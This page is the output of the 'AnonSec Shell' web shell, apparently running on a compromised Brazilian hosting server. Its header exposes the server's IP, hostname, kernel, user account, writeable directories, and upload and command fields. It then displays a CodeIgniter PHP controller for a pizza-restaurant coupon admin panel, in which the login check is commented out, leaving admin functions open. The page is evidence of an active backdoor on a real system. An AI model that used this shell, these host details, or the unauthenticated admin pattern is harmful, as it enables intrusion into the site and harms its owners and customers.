AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.36
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/restaurantoffer.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class RestaurantOffer extends MY_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->library('form_validation');
     $this->load->library('javascript'); 
     $this->load->library('Ajax_pagination');
     $this->perPage = ROW_PER_PAGE;
     $this->load->model('restaurantmanagement_model');
     $session_data = $this->session->userdata('logged_in');
     //if(empty($session_data)) { redirect('superadmin', 'refresh'); }    
     if($this->session->userdata('user_language'))
      {
        $language = $this->session->userdata('user_language');
      }
      else
      {
        $language = $this->config->item("language");
      }
     $data['user_language'] =  $language;
     $this->lang->load('superAdmin', $language);
  }

  function index( $offset = 0 )
  {
   if ($this->input->server('REQUEST_METHOD') == 'POST')
      {
        if ($this->input->post('EditId') == '' && $this->input->post('AddEdit')) {
          $this->addOffer();
        }
        else if($this->input->post('EditId') != '' && $this->input->post('AddEdit')) {
          $this->editOffer();
        }
        if($this->input->post('ActionTab')=='SiteInfo')
        {
          $this->websettings_site();
        }

        if($this->input->post('ActionTab')=='SiteContact')
        {
          $this->websettings_contact();
        } 

        if($this->input->post('ActionTab')=='SiteVAT')
        {
          $this->websettings_VAT();
        } 
        if($this->input->post('ActionTab')=='SiteOffline')
        {
          $this->websettings_Offline();
        } 
        if($this->input->post('ActionTab')=='SiteTwilio')
        {
          $this->websettings_Twilio();
        } 
        if($this->input->post('ActionTab')=='SiteDocusign')
        {
          $this->websettings_DocuSign();
        } 


      }else
      {
        $this->showOfferList();
      }
  }

  function showOfferList() {
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_offers_list());
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantoffer/ajaxPaginationDataOffer/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OfferList'] = $this->restaurantmanagement_model->get_offers_list(array('limit'=>$PerPage), $SearchBy);
  

    $query['OfferTotal'] =$this->restaurantmanagement_model->OffersStatistics($status='');
    $query['OfferActive'] =$this->restaurantmanagement_model->OffersStatistics($status='1');
    $query['OfferInactive'] =$this->restaurantmanagement_model->OffersStatistics($status='0');
    $query['RestaurantList'] = $this ->restaurantmanagement_model -> RestaurantList();
    $data['title']="Offer List";  
    $query['SiteTab'] ='offer_list';
    $data['page']="offer_list";  
    $this->load->view('superadmin/header',$data);
    $this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/restaurantoffer_list',$query);
    $this->load->view('superadmin/footer');
  }

  function ajaxPaginationDataOffer(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }

    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/
    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_offers_list($params = array(), $action,$action2));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantoffer/ajaxPaginationDataOffer';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OfferList'] = $this->restaurantmanagement_model->get_offers_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Offer List";  
    $query['SiteTab'] ='offer_list';
    $data['page']="offer_list";  
    $data['perPageCount'] = $page;
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/restaurantoffer_list_ajax', $data, false);
  }

  function addOffer() {
    $now = date('Y-m-d H:i:s');
    $this->form_validation->set_rules('coupon_code', 'Coupon Code', 'trim|required|xss_clean|callback_isCouponExist');
    $this->form_validation->set_message('is_unique', 'Coupon Code already exist');
    $this->form_validation->set_rules('offer_valid_from');
    $this->form_validation->set_rules('offer_valid_to');
    $this->form_validation->set_rules('my_offer_amount');
    $this->form_validation->set_rules('my_offer_type');
    $this->form_validation->set_rules('restaurant_id');
    
    if ($this->form_validation->run() == FALSE) {
      $this->showOfferList();
    }

    else {
      $date1 = str_replace('/', '-', $this->input->post('offer_valid_from'));
      $date_array = explode('-', $date1);
      $date1 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
      $offer_valid_from  = date("Y-m-d", strtotime($date1));

      $date1 = str_replace('/', '-', $this->input->post('offer_valid_to'));
      $date_array = explode('-', $date1);
      $date1 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
      $offer_valid_to  = date("Y-m-d", strtotime($date1));
      
      if ($this->input->post('my_offer_type') == 'per' || $this->input->post('my_offer_type') == '') {
        $data_in = array(
          'restaurant_id'       =>  $this->input->post('restaurant_id'),
          'offer_percentage'    =>  $this->input->post('my_offer_amount'),
          'offer_price'         =>  0,
          'offer_valid_from'    =>  $offer_valid_from,
          'offer_valid_to'      =>  $offer_valid_to,
          'addeddate'           =>  $now,
          'coupon_code'         =>  $this->input->post('coupon_code')
        );
      }
      else {
        $data_in = array(
          'restaurant_id'       =>  $this->input->post('restaurant_id'),
          'offer_percentage'    =>  0,
          'offer_price'         =>  $this->input->post('my_offer_amount'),
          'offer_valid_from'    =>  $offer_valid_from,
          'offer_valid_to'      =>  $offer_valid_to,
          'addeddate'           =>  $now,
          'coupon_code'         =>  $this->input->post('coupon_code')
        );
      }
      
      $this->db->trans_start();
      $this->db->insert('rt_restaurant_offer', $data_in);
      $this->db->trans_complete();
      $this->session->set_flashdata('success_msg', 'Offer successfully saved');
      redirect('superadmin/restaurantoffer');
    }
  }

  function editOffer() {
    $now = date('Y-m-d H:i:s');
    $EditId = $this->input->post('EditId');
    $this->form_validation->set_rules('coupon_code', 'Coupon Code', 'trim|required|xss_clean|callback_isCouponExist');
    $this->form_validation->set_message('is_unique', 'Coupon Code already exist');
    $this->form_validation->set_rules('offer_valid_from');
    $this->form_validation->set_rules('offer_valid_to');
    $this->form_validation->set_rules('my_offer_amount');
    $this->form_validation->set_rules('my_offer_type');
    $this->form_validation->set_rules('restaurant_id');
    
    if ($this->form_validation->run() == FALSE) {
      $this->showOfferList();
    }
    else {
      $date1 = str_replace('/', '-', $this->input->post('offer_valid_from'));
      $date_array = explode('-', $date1);
      $date1 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
      $offer_valid_from  = date("Y-m-d", strtotime($date1));

      $date1 = str_replace('/', '-', $this->input->post('offer_valid_to'));
      $date_array = explode('-', $date1);
      $date1 = $date_array[1]."-".$date_array[0]."-".$date_array[2];
      $offer_valid_to  = date("Y-m-d", strtotime($date1));

      if ($this->input->post('my_offer_type') == 'per') {
        $data_up = array(
          'restaurant_id'       =>  $this->input->post('restaurant_id'),
          'offer_percentage'    =>  $this->input->post('my_offer_amount'),
          'offer_price'         =>  0,
          'offer_valid_from'    =>  $offer_valid_from,
          'offer_valid_to'      =>  $offer_valid_to,
          'coupon_code'         =>  $this->input->post('coupon_code')
        );
      }

      else {
        $data_up = array(
          'restaurant_id'       =>  $this->input->post('restaurant_id'),
          'offer_percentage'    =>  0,
          'offer_price'         =>  $this->input->post('my_offer_amount'),
          'offer_valid_from'    =>  $offer_valid_from,
          'offer_valid_to'      =>  $offer_valid_to,
          'coupon_code'         =>  $this->input->post('coupon_code')
        );
      }

      $this->db->trans_start();
      $this->db->where('offer_id', $EditId);
      $this->db->update('rt_restaurant_offer', $data_up);
      $this->db->trans_complete();
      $this->session->set_flashdata('success_msg', 'Offer successfully updated');
      redirect('superadmin/restaurantoffer');
    }
  }

  function isCouponExist() {
    $coupon_code = $this->input->post('coupon_code');
    $restaurant_id = $this->input->post('restaurant_id');
    $offer_id = $this->input->post('EditId');
    $is_exist = $this->restaurantmanagement_model->isCouponExist($offer_id, $coupon_code, $restaurant_id);
    if ($is_exist) {
      $this->form_validation->set_message('isCouponExist', 'Coupon Code already exist');
      return false;
    }
    else {
      return true;
    }
  }



}

Anon7 - 2022
AnonSec Team